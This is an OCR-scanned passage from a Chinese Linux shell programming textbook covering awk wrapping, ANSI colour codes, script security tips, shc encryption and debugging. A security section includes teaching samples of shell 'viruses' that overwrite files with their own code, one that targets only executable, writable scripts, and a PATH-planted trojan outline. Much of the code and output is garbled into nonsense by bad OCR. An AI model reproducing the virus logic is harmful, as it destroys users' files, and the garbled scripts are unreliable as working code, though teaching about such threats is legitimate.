长 一 个 包装 awk 的 例子 ， 在 例 15-33 中 的 脚本 print_ascrii.sh 用 于 输出 部 分 ASCII 
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集团 官网 : www. hqyj. com 





《Linux Shell 编程 从 初学 到 精通 》 


fe (| =ercaer 1 < cna fry )) 
do 


























#awk 中 的 printf 用 于 输出 十 进 制 和 十 六 进 制 对 应 的 ASCII 码 
# 该 输出 和 C 语言 中 的 printf 类 似 
eehneoesaa we ne $2X eon le ei Nay 
done 








exit 0 
脚本 print_ascii.sh 的 执行 结果 为 : 

# 例 15-33 中 print-ascii.sh 脚本 的 执行 结果 : 
leotaneeahost cheater perinealsh 








Decimal Hex Character 
48 30 0 
49 3 
50 3 受 
lL 3 3 
司马 34 4 
58 3 5 
54 SG 6 
33 3 区 
5 3 8 
5 司马 与 


[root@localhost chapter15]# 

例 15-33 中 的 脚本 print_ascii.sh 通过 包装 awk 实现 了 十 进 制 数 48 一 57 对 应 的 十 六 进 制 数 
和 ASCI 人 码 ， 其 中 对 应 的 十 六 进 制 数 为 30 一 39， 对 应 的 ASCII 码 为 0 一 9。 
通过 sed 和 awk 可 以 完成 一 些 复杂 的 输出 ， 所 以 ， 我 们 要 学 会 在 Linux Shell 脚本 中 使 用 
Shell 包装 。 


上 闪 闫 色 的 肢 本 人 


在 Linux Shell 脚本 中 ， 脚 本 执行 终端 的 颜色 可 以 使 用 “ANSI 非常 规 字 符 序 列 ” 来 生成 ， 
例如 : 

作用 下 用 

以 上 命令 设置 前 景色 为 和 白色， 背景 色 为 和 白色， 闪烁 光标 ， 输 出 字符 ME， 然 后 重新 设置 
屏幕 到 默认 设置 ， 输 出 字符 COOL。e 是 命令 echo 的 一 个 可 选项 ， 它 用 于 激活 特殊 字符 的 解 
析 器 ; \033 引导 非常 规 字 符 序列 ; m 意味 着 设置 属性 ， 然 后 结束 非常 规 字符 序列 。 这 个 例子 
真正 有 效 的 字符 是 “44;37;5” 和 “0”。 修改“44;37;5” 可 以 生成 不 同 颜 色 的 组 合 ， 数 值 和 
码 的 前 后 顺序 没有 关系 ， 可 以 选择 的 编码 如 表 15-2 所 示 。 


表 15-2 颜色 编码 和 含义 




















































































































































































































汶 二 























颜色 /动作 








重新 设置 属性 到 默认 设置 








设置 粗 体 
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颜色 /动作 








设置 一 半 亮 度 《〈 模 拟 彩色 显示 器 的 颜色 ) 








夯 线 (模拟 彩色 显示 器 的 颜色 ) 










































































在 默认 的 前 景 颜 色 上 设置 下 画 

















在 默认 的 前 景 颜色 上 关闭 下 画 



























































默认 的 黑色 背景 





其 他 一 些 有 用 的 编码 如 表 15-3 所 示 。 


表 15-3 











其 他 一 些 有 用 的 编码 和 含义 








\033[2J 


清除 屏幕 





\033[0q 


关闭 所 有 的 键盘 指示 灯 





\033[1q 


设置 “ 深 动 锁定 ” 指 


(Scroll Lock) 








\033[2q 








设置 “数值 锁定 ” 指 


(Num Lock) 











化 清 


远见 教 





























官网 : www. hqyj. com 








《Linux Shell 编程 从 初学 到 精通 》 





\033[3q 设置 “大 写 锁定 ”指示 灯 (Caps Lock) 





\033[10:15H 关闭 移动 到 第 10 行 15 列 





\007 峰 鸣 生 beep 

















下 面 通 过 一 个 例子 来 说 明 如 何 实现 带 颜 色 的 脚本 ， 例 15-34 的 脚本 color_scriptl.sh 中 是 
一 个 输出 彩色 的 字符 串 的 形式 ， 脚 本 内 容 如 下 : 
# 例 15-34: color scriptl.sh 脚本 输出 带 颜 色 的 脚本 
#color_script1.sh: 输出 彩色 字符 串 
#!/bin/bash 


















































# 该 函数 用 于 选择 输入 的 彩色 脚本 的 颜色 选择 


















































eonmely 
while (($#!= "" )) 
ee 
Gase IO 
-D) 
eeho ec 
= 七 ) 
Eee 
-n) 
echo -ne "\n" 
-Blaek) 
echo -ne "\033[30m" 黑色 
-red) 
echo -ne "\033[31m" 红色 
-green) 
seeno mee oesle my 绿色 
-yellow) 
eehne ne v0 el Smny 黄色 
-blue) 
Sen ne No0sesnumy 蓝 色 
-purple) 
echo -ne "\033[35m" 他 
-Cyan) 
echo -ne "\033[36m" 青色 
-white|-gray) 
Sene ne 0 el mi 白色 /灰色 
四 = NE by Fm i 
4 4 元 | | 华 清 远 见 教育 集团 官网 : www. hqyj. com 
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-reset) 
eene ne Nsom # 重 新 设置 
sil eel ee # 帮 助 
echo "Usage: cfont -colorl messagel -color2 message2 
echo "eg: cfont -red [ -blue messagel message2 -red ]" 
#0) # 其 他 时 输出 字符 串 
echo -ne "$1" 
esac 
# 命 令 行 下 移 一 位 
Sms 
done 
调用 函数 进行 输出 
cfont =green “Hello" =red “ereryone" =blue " Be happy every day!" -black =n 





例 15-34 中 脚本 color_scriptl.sh 的 输出 结果 为 : 
例 15-34 color script1.sh 脚本 的 执行 结果 : 
root@localhost chapter15]# ./color scriptl.sh 

其 中 “Hello” 为 绿色 ，“everyone” 为 红色 ，“Be happy every day! ”为 蓝 色 
Hello everyone Be happy every day! 
root@localhost chapterl5]# 










































































例 15-34 的 color_scriptl.sh 脚本 中 的 cfont 函数 通过 循环 不 断 地 判断 循环 执行 脚本 时 的 


命令 行 参数 ， 然 后 根据 case 确定 要 输出 的 颜色 和 字段 ”通过 命令 行 参数 “-n” 结 束 该 脚本 的 运 
行 。 该 脚本 通过 “-green” 选 项 输出 后 面 的 字段 “Start service ..…. ”为 青色， 然后 通过 “-red” 实 


















































现 “[” 和 “]” 为 虹 色 ， 而 设置 “OK” 为 绿色 ， 最 后 通过 “blac 29 忆 


| 








新 将 输出 字体 变 为 黑 



































o 


如 果 没 有 “-black”， 将 会 使 编辑 器 的 字体 一 直 是 红色 ， 读 者 可 去 掉 命令 行 参数 “-black” 试 试 。 
为 了 体现 错误 、 和 警告 、 完 成 和 普通 信息 的 区 别 ， 在 例 15-35 的 脚本 color_script2.sh 中 实 




















现 这 些 功能 ， 脚 本 内 容 如 下 : 
# 例 15-35: 一 个 体现 错误 、 警 告 、 完 成 和 普通 信息 区 别 的 例子 
#color_ script2.sh: 参数 1 为 消息 内 容 ， 参 数 2 为 前 景色 ， 参数 3 为 背景 色 ， 参数 4 为 特色 处 理 
#!/bin/bash 














# 提 示 用 户 需 要 输入 的 参数 内 容 和 个 数 

eeho "The orgumentse of thls seript (Messagel (ErontColor (BackColor SEE 
echo “first argument: {Message}:Message you want display" 

Senem sseoncargumenea lieronteolos Eeronteolor wiensolev valueeso 

se Eniroaragtmente eacerColorl Backeolor wealselay values, 

Seno forenmerement Ee Seve wesolev veal as 


# 提 示 用 户 输入 第 一 个 命令 行 参数 ， 想 要 输出 的 信息 
echo ™ First argument you want to input: {Message}™" 
read message 








# 提 示 用 户 输入 第 二 个 参数 ， 前 景色 颜色 或 1 一 8 
seeney Seeomargumenteveuwante eq neue Eronteolor we (Nolorsy 
valueses (EE 2 








read frontcolor 
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# 判 断 参 数 对 应 的 前 景色 颜色 或 其 对 应 的 编码 

GEEESNESSTSE 

Te 前 景色 : 黑色 

SE E30 

2 前 景色 : 红色 
人 号 丰 芝 三 ， 坟 王 > 

Soreen, 前 景色 : 绿色 
fStr="32" 

4 | brown) 前 景色 : 棕色 
下 SS 习 三 人 加 志 汪 

5 ns) 前 景色 3 入 色 
fsStr="34" 

6 | purple) 前 景色 : 紫色 
SEED 

和 cyan) 前 景色 : 青色 
St E36 

8 | white) 前 景色 : 白色 
下 SS 3 

4 

SEO 
esac 


# 提示 用 户 输入 第 三 个 命令 行 参数 : 背景 色 或 1 一 8 
echo "Third argument: 








veommwante corm: 
valuesit 3 
read backcolor 
































# 判 断 参 数 对 应 的 背景 色 颜色 或 其 对 应 的 编码 

case $backcolor in 

1 black) 
bsStr="40" 

red) 背景 色 : 红色 
BStr="41" 

3 green) 背景 色 : 绿色 
BSstr="42" 

4 brown) 背景 色 : 棕色 
JejSye is 

5 | ivey) 背景 色 : 蓝 色 
bstr="44" 

6 purple) 背景 色 : 紫色 


























全 大 见 


{ 


BackColor } 


SEE 


Galas 











华 清 远 见 教育 集 














官网 : www. hqyj. com 





CE 











《Linux Shell 编程 从 初学 到 精通 》 






































SEMI5 

wevan # 背 景色 : 青色 
So 

8 | white) # 背 景色 : 白色 
jj 证 二 WW 入 到 

a 


Boe 


esac 








# 提 示 用 户 输入 第 四 个 命令 行 参数 : 特殊 处 理 
eeho "peurehn largument Vouwant eo neut SEE Seyle waepelay( styles or 











Values( 1-4 ) " 

















read style 

# 判 断 输 入 字段 对 应 的 字段 属性 

case $ style in 

1 | bolg) 黑体 
SStr= 

有 underline) 下 夯 线 
Se A 

3 | sn) 闪烁 
S85 

4 inverse) 反 转 
SSE 

0 
ssStr="0" 

esac 






























































# 根据 输入 字段 的 不 同 显示 不 同 的 颜色 和 字体 属性 的 输入 字段 
if [ ${bstr} -eq 0 ] && [ ${sStr} -eq 0 ] # 背 景色 和 字体 属性 同时 为 默认 时 ， 字 段 显 示 的 内 容 
then 
rtnSstring="\e[${fStr}m" 
elif [ ${bStr} -eq 0 ] 背景 色 为 默认 属性 , 字体 属性 不 为 默认 时 , 字段 显示 的 内 容 
then 
ran ne | ee ee 
elif [ ${sStr} -eq 0 ] 字体 属性 为 默认 属性 ,背景 色 不 为 默认 时 , 字段 显示 的 内 容 
then 
nr DE ep rey 
else 背景 色 和 字体 属性 同时 不 为 默认 时 ， 字 段 显 示 的 内 容 
二 NSOETNS 由 人 性 SOSLER 0( Sst my 











直 直 





# 输 入 要 显示 的 字段 信息 
echo -e "${rtnSstring}$message\e[m" 
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例 15-35 中 脚本 color script2.sh 的 执行 结果 为 : 

例 15-35 color _ script2.sh 脚本 的 执行 结果 : 

EeewdIeeanhesciaeEeTEi 六 IC 本 En 

he arguments of Ehnis sercioe: IMessage (EcontColorl ESEREcTeG fsteyLed 
irst argument: {Message}l:Message you want display 

eeenco emagumnene Eonteolor Eronteeler we sy aes 
nreMargument: pacekeolor}l:BackColor wl drsplavy valves 


ih ot th hh "Ed sa 


orth argument: {Style}: Style will display,values 





First argument you want to input: {Messagel} 
Hello everyone! 
seeeonaargument vomwane to meut: (Eronteeolormmwil nselay (Colors) ornvalues (lL 2 


3 
mvneearoaumenme vou wane Eon mu Lackeoler wadeLlary olors or values le 
4 
Eeourthnaroaumene vo want eo nou st esety Lewdisplay (sv lis or values (GL 4 
3 


# 其 中 “Hello everyone!” 的 字体 为 棕色 ， 背 景色 为 绿色 ， 闪 烁 
Hello everyone! 
[root@localhost chapter1l5]# 


例 15-35 中 的 脚本 color_script2.sh 首先 提示 用 户 在 命令 行 输入 四 个 参数 ， 第 一 个 参数 为 
要 显示 的 内 容 ， 第 二 个 参数 设置 了 8 种 前 景色 供用 户 选择 , 第 三 个 参数 同样 设置 了 8 种 背景 
色 供 用 户 选 择 ， 最 后 一 个 参数 则 用 来 设置 要 显示 内 容 的 字体 属性 ， 然后 通过 if/elif/else 对 用 
户 输入 的 后 三 个 参数 进行 配置 ， 最 终 通过 echo 语 句 显 示 最 终 的 执行 结果 。 


Linux 脚本 安全 站 


尽管 Linux 的 安全 性 比 Windows 系统 要 好 , 但 并 不 是 说 Linux 代码 是 绝对 安全 的 , 所 以 ， 
在 Linux Shell 编程 过 程 中 要 注意 以 下 问题 : 
@ 不 要 将 当前 目录 置 于 PATH 下 ， 可 执行 脚本 应 该 放 在 标准 的 系统 目录 下 ， 和 否则 将 会 
打开 特洛伊 木马 的 大 门 。 
@ 确认 PATH 下 的 每 个 目录 都 有 其 对 应 的 拥有 者 可 以 写 权 限 ， 其 他 任何 人 不 能 写 入 ， 
否则 将 有 可 能 被 病毒 侵入 的 危险 。 
@ 写 程 序 时 要 花费 时 间 ， 在 开始 运行 前 要 不 断 地 设法 测试 ， 在 设计 时 最 好 将 如 何 设计 
实现 也 写 入 其 中 。 
@ 要 注意 输入 参数 的 有 效 性 ， 特 别 是 数字 的 正确 范围 。 
@ 在 编写 脚本 时 最 好 不 要 使 用 root 用 户 ， 奉 则 有 可 能 被 别人 和 窍 取 密 码 。 
@ 不 要 在 用 户 输 入 上 使 用 eval， 如 果 其 他 用 户 在 读 取 脚 本 时 发 现 使 用 了 eval， 则 可 以 
轻松 地 破坏 脚本 。 
@ 仔细 检测 自己 编写 的 脚本 ， 寻 找 是 否 存在 可 能 被 利用 的 漏洞 和 错误 ， 试 着 找 出 破坏 
它 的 方式 ， 再 修正 这 些 发 现 的 问题 。 
在 Linux 中 同样 存在 病毒 和 木马， 后 面 的 内 容 将 分 别 介绍 可 使 用 的 加 密 工 具 shc、Linux 
Shell 脚本 编写 的 简单 病毒 以 及 Linux Shell 中 的 木马 。 





























































































































































































































































































































TS 
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15.9.1 

如 果 你 的 Shell 脚本 包含 了 敏感 的 口令 或 者 其 他 重要 信息 ， 而 且 不 希望 用 户 通 过 命 全 
-ef (但 看 系统 每 个 进程 的 状态 ) 捕获 敏感 信息 。 你 可 以 使 用 shc 工具 给 Shell 脚本 增加 一 
外 的 安全 保护 。shc 是 一 个 脚本 编译 工具 , 使 用 RC4 加 密 算 法 能 够 把 Shell 程序 转换 成 二 





使 用 shc 工具 加 密 Shell 脚本 

















> 






















































































可 执行 文件 (支持 静态 链接 和 动态 链接 )。 该 工具 能 够 很 好 地 支持 : 需要 加 密 、 


命令 参数 传递 口令 的 环境 。 
在 使 用 she 工具 之 前 ， 首 先 需 要 下 载 安装 包 she-3.8.6.tgz， 本 书 附带 光盘 9 




















人 
on 


弹 








盘 溪 部 


解密 或 者 








包 ， 然 后 按照 以 下 步骤 安装 : 











root@jselab shc-3.8.6] 
root@jselab shc-3.8.6]#make insall 
EeoEeenelanshne So 


shc 安装 步骤 

root@jselab local]# ls shc* 

Se Soe 

FeoEe elac loeallt eeor zxvVE She 3 3 6 Eq 
reoOue elab Iocan cecalsne = 326 
root@jselab shc-3.8.6]#make test 


#make strings 





# which shc # 测 试 shc 是 否 安 装 成 功 


Vas re /lo ea om /se 
root@jselab shc-3.8.6]# 

















shc 安装 完毕 后 ， 可 以 通过 运行 下 面 的 命令 进行 加 密 : 


Sme 























-Vv -f -filename 











P 提 供 了 此 安 状 


shc 命令 的 -v 选项 是 verbose 模式 , “输出 详细 的 编译 日 志 ; 节选 项 用 于 指定 脚本 的 名 称 ， 









































=a 





pe 


me 帮 
所 
A 


ie 
2 条 命令 :加密 成 功 后 ， 生 成 以 .x 和 .c 结尾 的 两 个 新 文件 
root@jselab shell-book]# ls array* 
































shll=bash 

[三 = 

[=x]=exeec SS an 
[和 | 三 

opts= 


SEE 
Srv eve Sn 


enmeenge er rave val Sn 





Sea 





# 第 3 条 命令 : array_eval2.sh.x 是 加 密 后 的 文件 ， 可 以 执行 





攻 6eteSsslaEneliE5ooR HH /array eval2s She 


city[0]=Nanjing 


city[l1]=BeiJjing 


Cen 
emtey 
CE 
Cae 


] 
]=Melbourne 
]=NewYork 
] 
lL 


[ 
中 
本 
[4 
[3 
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其中 filename 为 需要 加 密 的 脚本 名 称 。 王 面 的 例 15-36 以 array_eval2.sh 脚本 为 例 ， 用 shc 工 
具 对 其 进行 加 密 。 

例 15-36: 用 shc 工具 对 array_eval2 .sh 脚本 进行 加 密 
第 1 条 命令 : 用 shc 命令 加 密 array_eval2 .sh 脚本 


eeeteneleae me oo he ve eareeavievol sh 
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[root@jselab shel1-Dpook]# 

例 15-36 首先 用 shc 命令 加 密 array_eval2.sh 脚本 ， 加 密 成 功 后 生成 可 执行 文件 array 
eval2.sh.x 和 C 语言 源 文件 array eval2.sh.x.c，array_eval2.sh.x 文件 就 是 源 文 件 array_eval2.sh 
的 密 文 ， 但 是 ， 它 仍然 可 以 跟 array_eval2.sh 一 样 执行 ， 例 15-36 执行 array_eval2.sh.x 得 到 与 
array_eval2.sh 一 样 的 结果 。 


15.9.2 Linux Shell 脚本 编写 的 病毒 

更 用 Linux Shell 脚本 可 以 编写 病毒 ， 下 面 的 几 个 程序 将 介绍 如 何 编写 简单 的 病毒 。 在 例 
15-37 中 脚本 virusl.sh 是 一 个 最 简单 最 原始 的 病毒 。 

列 15-37: virusl.sh 脚本 实现 一 个 简单 的 病毒 


virusl.sh: 该 病毒 应 用 遍历 当前 所 有 的 文件 ， 并 履 盖 掉 这 些 文件 
!/bin/bash 






















































































for 循环 用 于 遍历 所 有 的 文件 并 歼 盖 这 些 文件 
Ee ul ro 
do 
ep $0 
done 


例 15-37 中 脚本 virusl.sh 相当 简单 , 但 该 脚本 遍历 当前 文件 系统 的 所 有 文件 ， 并 覆盖 它 。 
于 Linux 是 多 用 户 的 操作 系统 ， 它 的 文件 是 具有 保护 模式 的 ， 所 以 ， 以 上 的 脚本 有 可 能 会 
报 出 一 大 堆 的 错误 ， 有 助 于 管理 员 发 现 并 制 正 它 的 传染 。 在 例 15-38 的 virus2.sh 中 做 了 一 个 
判断 ， 这 样 隐 蔽 性 就 大 大 增强 了 。 

# 例 15-38: 对 例 15-37 中 的 病毒 脚本 进行 的 改进 
#virus2.sh: 一 个 比 virusl.snh 隐蔽 的 脚本 
#!/bin/bash 








I 






















































































#for 循环 实现 病毒 
i Ee lia 
do 





if test -f $file ”# 测 试 是 否 是 文件 
then 
if test -x $file # 测 试 文件 是 否 可 执行 
then 
i GesE =w Snes # 测 试 文件 是 否 可 读 
then 
if grep -s echo $file >.mmm  # 不 显示 不 存在 或 无 匹配 文本 的 错误 信息 
then 
cp $0 $file 




















done 
a ri = 


对 例 15-38 中 的 virus2.sh 进行 改进 ， 加 了 若干 判断 ， 判 断 文 件 是 否 存 在 、 文 件 是 否 可 执 
行 、 是 否 有 写 权 限 ， 再 判断 它 是 否 是 脚本 程序 ， 如 果 是 ， 就 使 用 cp 命令 ， 所 以 ， 这 段 代 码 能 
够 破坏 该 系统 中 所 有 的 脚本 程序 ， 和 危害 性 还 是 比较 大 的 。 其 中 命令 ; 
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if grep -s echo $file>/.mmm 












































15.9.3 Linux Shell 中 的 木马 
































nasty_shell.sh 的 内 容 如 下 : 
# 例 15-39: 一 个 特洛伊 木马 的 例子 
#nasty shell.sh: 放置 在 ~/wyq/bin 下 的 木马 
#!/bin/bash 




















/bin/grep Wo@ 


case $ (whoami) in 
Pele 


# 用 于 窍 取 操作 ， 这 里 省 略 




















# 隐藏 操作 痕迹 
SEE 























用 于 判断 fle 是 否 为 Shell 脚本 程序 。 但 是 脚本 病毒 一 旦 在 感染 完毕 
没有 像 二 进 制 病毒 那样 的 潜伏 的 危害 性 ， 而 且 以 上 的 脚本 只 是 简单 地 覆盖 宿主 而 已 。 


在 用 wyq 以 自己 的 身份 编程 时 不 会 出 现任 何 问题 ， 但 是 当 使 用 root 


























本 章 小 结 














之 后 就 什么 也 不 做 了 , 它 



































] 户 身份 时 (木马 编 


在 Linux Shell 中 同样 存在 木马 ， 如 特洛伊 木马 ， 它 看 上 去 是 无 害 的 ， 但 其 却 隐藏 着 危险 
的 东西 ， 如 例 15-39 中 , 将 Linux Shell 编写 的 一 些 脚本 放 入 ~/wyq/bin 中 ， 则 该 目录 会 出 现 一 
/wyq/.profile 里 path 变量 的 第 一 个 , 如 果 我 们 将 bin 目录 保留 给 其 他 用 户 使 月 
建立 一 个 Shell 脚本 命名 为 nasty_shellsh)， 就 可 以 窃取 这 些 脚本 的 内 容 ， 例 15-39 中 脚本 


昌 ， 则 在 该 目录 下 














写 人 员 知 道 root 密码 )， 当 wyq 用 户 以 Toot 号 份 执行 该 脚本 时 ， 该 脚本 可 以 对 Linux 操作 系 
统 为 所 欲 为 ， 当 操作 完成 后 ， 特 洛 伊 木马 也 会 删除 ， 不 会 留 下 任何 痕迹 。 


站 


et 








































































































编写 简洁 明了 的 代码 。 





Linux Shell 脚本 编写 风格 是 一 种 开始 编写 脚本 时 就 要 开始 养 成 的 习惯 ， 养 成 良好 的 编程 
习惯 会 对 编程 人 员 阅 读 脚本 提供 很 大 的 便利 ， 同 时 也 要 在 Linux Shell 编 
优化 方式 。 在 其 他 的 编程 语言 中 ， 一 般 会 讲解 数据 结构 和 算法 应 用 ，Linux Shell 编程 中 同样 
也 需要 这 些 思想 ， 不 要 使 自己 的 代码 看 起 来 腑 肿 不 堪 ， 要 学 会 








程 中 学 会 必要 的 脚本 




















Shell 下 有 很 多 特殊 的 字符 和 命令 ,这 些 需 要 在 Linux Shell 编程 时 对 这 些 知识 有 一 定 的 理 











解 ， 如 果 将 这 些 特殊 的 字符 和 特殊 的 命令 应 用 到 Linux Shell 编程 中 ， 将 会 提高 编程 的 效率 。 


























使 用 交互 式 和 非 交互 式 Shell 脚本 的 时 机 是 大 家 需要 把 握 












































的 ， 非 交互 式 的 县 
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Ee 


















































本 一 般 不 需 


要 用 户 输入 提示 操作 就 可 完成 ， 这 种 方式 的 脚本 多 应 用 于 后 台 服 务 ， 对 应 需要 用 户 回 应 的 脚 
本 则 可 能 使 用 交互 式 Shell 脚本 ， 这 样 可 以 提高 执行 脚本 时 的 灵活 性 。 

本 章 还 讲解 了 Linux 中 的 /dev 和 /proc 伪 文 件 系统 ， 同 时 介绍 了 /dev 中 两 个 特殊 的 伪 设 备 
/dev/null 和 /dev/zero， 它 们 都 非常 有 用 ， 所 以 ， 要 学 会 它们 的 用 法 。 
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\NS 


最 后 介 


召 了 带 颜 色 的 脚本 和 Linux 脚本 安全 。 


上 机 提议 人 


1. 使 用 例 15-4 中 的 编程 方式 对 例 15-2 中 的 脚本 进行 改写 ， 学 会 使 用 该 风格 的 编程 方式 ， 
并 学 会 将 这 些 应 用 到 以 后 的 Shell 编程 中 。 

2. 分 析 下 面 这 个 脚本 ， 运 行 它 ， 并 解释 这 个 脚本 的 用 途 是 什么 ? 为 这 个 脚本 添加 注释 ， 
根据 编程 风格 改写 它 ， 使 该 脚本 具有 更 紧凑 和 更 优雅 的 形式 。 


#!/bin/bash 

































































































































































MAX=10000 
for((nr=1l; nr<$MAX; nz++) ) 
do 


Steel nS 
ye We le 
then 

continue 
下 二 


det 2 
FFM et ne A 
then 

continue 
EL 


业 E tS nr :9 

te eS ne | 

then 

continue 

下 机 

break 

done 

echnoNumber one 
exit 0 


3. 编写 Shell 函数 , 把 命令 行 参数 给 出 的 十 进 制 数 转换 为 八进制 数 和 对 应 的 ASCII 但 但 
并 实现 处 理 ， 一 行 显示 一 个 数 ， 同 时 将 awk 应 用 到 程序 中 ， 显 示 如 下 : 









































~ 




















Decimal ee Character 
48 60 0 
49 SL i 
50 62 及 
3 563 3 
52 64 4 
5 65 5 
54 66 6 
53 Gy 加 
SG TO 8 


























四 et \ 二 :一 by) 住 2 , 
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|( NN 





的 末 是 字段 和 第 一 个 参数 的 字段 相同 则 删除 





ESsUSSsme 页 OLD txt 





令 实现 )。 


把 文件 名 memol.txt 更 名 为 memol， 贡 





>» 





PP 


AN AAA 
除 第 一 个 命令 4 




















pT 二 尖 


除 字 段 “ .txt 


6. 编写 一 个 脚本 set_sed.sh， 第 一 个 为 sed 命令 脚本 ， 
于 对 第 二 个 参数 指定 的 文件 执行 sed 命令 脚本 ， 如 果 sed 命令 执行 成 功 〈 即 退出 状态 为 0)， 





用 修改 后 的 文件 硅 换 原来 的 文件 





se eo es 


7. 编写 脚本 reverse.sh， 该 
reverse.sh 1 2345 
产生 的 结果 为 : 


SMST20l 

















即 





8. 编写 一 个 脚本 ， 要 求 输入 的 字符 必须 为 字母 〈 提 示 : 
9. 使 用 /dewzero 创建 一 个 RAM 设备 。 

















10. 使 用 /dev/null 将 一 个 文件 隐藏 ， 

















行 参数 的 这 些 字段 如 : 


AAA 一 
记忆 
省 一 








可 通 


使 其 内 容 永 远 技 失 。 





个 参数 为 文人 





基本 用 于 将 命令 行 参数 进行 倒序 显示 ， 如 输入 的 命令 行 


J 


”% 《提示 : 可 以 使 用 脚本 包装 sed 命 


名， 该 程序 用 





参数 为 : 


过 awk 语言 进行 字段 测试 )。 


11. 尝试 在 Linux 系统 上 安装 本 书 光盘 所 提供 的 shc 安全 包 ， 并 对 几 个 脚本 进 





观察 加 密 后 的 结果 。 





bash Shell 中 不 存在 调试 器 对 于 脚本 
模糊 的 错误 提示 信息 ， 男 外 ， 由 于 程序 员 的 粗心 或 命令 使 用 不 正确 ， 























Ph 产生 的 语法 错误 只 会 产生 


























Shell 脚本 中 经 常 存在 隐 哗 的 逻辑 错误 ， 使 得 脚本 无 法 按照 程序 员 的 意 
愿 运行 ,所 有 这 些 脚 本 的 错误 以 及 bash Shell 在 支持 调试 方面 的 不 足 都 

















给 Shell 脚本 的 调试 带 来 了 难 
调试 技术 ， 包 括 使 用 trap 命令 











度 。 

















中 




















本 章 将 全 面 、 系 统 地 介绍 Shell 脚本 





所 伤 信号 ” tee 命令 调 





试管 道 错 误 、 


行 加 密 1 9 
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Shell 脚本 调试 概述 人 


Shell 脚本 调试 技术 是 一 名 优秀 的 Linux 开发 者 和 系统 管理 员 需 要 掌握 的 重要 内 容 , Shell 
脚本 调试 就 是 发 现 引 发 脚本 错误 的 原因 以 及 在 脚本 源 代码 中 定位 发 生 错 误 的 行 ， 常 用 的 手段 
包括 分 析 输 出 的 错误 信息 、 通 过 在 脚本 中 加 入 调试 语句 、 输 出 调试 信息 来 辅助 诊断 错误 、 利 
用 调试 工具 等 。 然而， 与 CC++ 和 Java 等 高 级 程序 设计 语言 相 比 ，Shell 解释 器 缺乏 相应 的 
调试 机 制 和 调试 工具 的 文 持 ， 其 输出 的 错误 信息 又 往往 很 不 明确 ， 因 此 ，Shell 脚本 调试 是 一 
个 令 程序 员 头 痛 的 问题 , 尤其 是 对 于 初学 者 而 言 ,利用 echo 语句 输出 一 些 信息 是 初学 者 调试 
Shell 脚本 的 常用 手段 ， 随 着 程序 员 编 程 经 验 的 丰富 ， 调 试 脚本 的 手段 也 应 该 相应 增多 ， 对 错 
误 类 型 的 把 握 也 应 该 更 加 准确 。 

与 其 他 高 级 程序 设计 语言 类 似 ，Shell 脚本 的 错误 可 分 为 两 类 ， 第 一 类 是 Shell 脚本 中 存 
在 语法 错误 〈syntax error)， 脚 本 无 法 执行 到 底 ; 第 二 类 是 Shell 脚本 能 够 执行 完毕 ， 但 并 不 
是 按照 我 们 所 期 望 的 方式 运行 ， 即 存在 逻辑 错误 。 

第 一 类 错误 比较 直观 ， 我 们 只 要 定位 发 生 错误 的 代码 段 或 行 ， 发 现 产 生 错 误 的 原因 ， 再 
改正 错误 即 可 。 和 常见 的 语法 错误 包括 漏 写 关键 字 、 漏 写 引 号 、 空 格 符 该 有 而 未 有 、 变 量 大 小 
写 不 区 分 等 。 下 面 的 例 16-1 中 的 脚本 就 存在 语法 错误 : 

# 例 16-1: misskey .sh 脚本 演示 漏 写 关 键 字 错误 

Huy on /as 




























































































































































































































































































































































































var=0 

while : 

ee ele] 

then 

break 

Ea 

let “var=vart+l™ 

done 

misskey.sh 脚本 中 存在 几 个 语法 错误 ， 执 行 该 脚本 ，Shell 会 报 出 两 个 错误 ， 如 下 所 示 ， 
Shell 的 错误 定位 是 第 10 行 ， 即 脚本 最 后 一 行 (done 语句 这 行 )， 事实 上 ,第 10 行 done 表示 
while 循环 结束 ， 本 身 并 没有 错误 ， 仔 细 检 查 发 现 ， 错 误 其 实在 while 下 面 一 行 ， 缺 少 while 
循环 的 关键 字 do。 因 此 ，Shell 报错 是 非常 模糊 的 ， 仅 仅 查 看 Shell 所 报 的 错误 行 ， 未 必 能 找 
出 错误 ， 而 需要 我 们 查看 整个 相关 的 代码 段 。 
root@zawu DEBUG]# ./misskey.sh 
./misskey.sh: line 10: syntax error near unexpected token ‘done' 















































/mmsskey sl ne 10 doney 

root@zawu DEBUG]# 

我 们 在 misskey.sh 脚本 的 while 循环 下 添加 do 关键 字 ，misskey.sh 脚本 修改 为 : 
misskey .sh: 演示 漏 写 关 键 字 错误 

!/bin/bash 














var=0 
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while : 

do # 添 加 上 去 的 do 关键 字 

if [ $var -gt 3] 

then 

break 

汪汪 

let "var=vart+l1" 

done 

再 次 执行 misskey.sh 脚本 ， 如 下 所 示 ，Shell 无 限 跳出 错误 信息 “/misskey.sh: line 6: [: 
missing J”， 这 说 明 第 6 行 出 错 ， 即 if 语句 段 , 仔细 查看 , 错误 原因 在 于 字符 “3” 和 字符 “]” 
之 间 缺 少 了 一 个 空格 符 ， 这 导致 让 语句 无 法 进行 var 变量 和 3 的 比较 ， 从 而 无 法 跳出 while 
循环 ， 因 而 ，Shell 才 会 无 限 地 打印 第 6 行 错 误 的 信息 。 

[root@zawu DEBUG]# ./misskey.sh 

/mee ke ns se] 




































































1 
Sinise kv ln 
/mek ev se 





a # 无 限 出 现 这 样 的 错误 信息 

例 16-1 中 的 misskey.sh 脚本 存在 的 错误 就 是 语法 错误 ， 这 些 错误 导致 misskey.sh 脚本 无 
法 执行 。 对 于 语法 错误 ， 通 常 根据 Shell 的 错误 提示 信息 定位 代码 段 ， 对 疑问 代码 段 进 行 仔 
的 语法 检查 ， 从 而 发 现 语法 错误 并 改正 。 

第 二 类 错误 是 逻辑 错误 ， 这 类 错误 比较 隐 星 ， 它 不 影响 脚本 的 正常 运行 ， 但是， 脚本 的 

运行 又 与 程序 员 的 意愿 不 一 致 。 下 面 的 例 16-2 给 出 的 runsecish 脚本 就 存在 逻辑 错误 : 

# 例 16-2: runsec.sh 脚本 演示 逻辑 错误 

#!1/bin/bash 


count=1 # 上 用 
MAX=5 












































AS 





















































二 











于 记录 进入 while 循环 的 次 数 


while [ "$SECONDS" -le "$MAX" ] 

do 
echo "This is the $count time to sleep." 
count=$count+1 
sleep 2 

done 


echo "The running time of this script is $SECONDS" 























执行 ， 并 定义 count 变量 用 于 记录 进入 while 循环 的 次 数 ，runsec.sh 脚本 不 存在 语法 错误 ， 下 
面 是 它 的 执行 结果 : 
例 16-2 runsec.sh 脚本 的 执行 结果 


root@zawu DEBUG]# ./runsec.sh 
ha ene me tonsleees 








下 Eee 


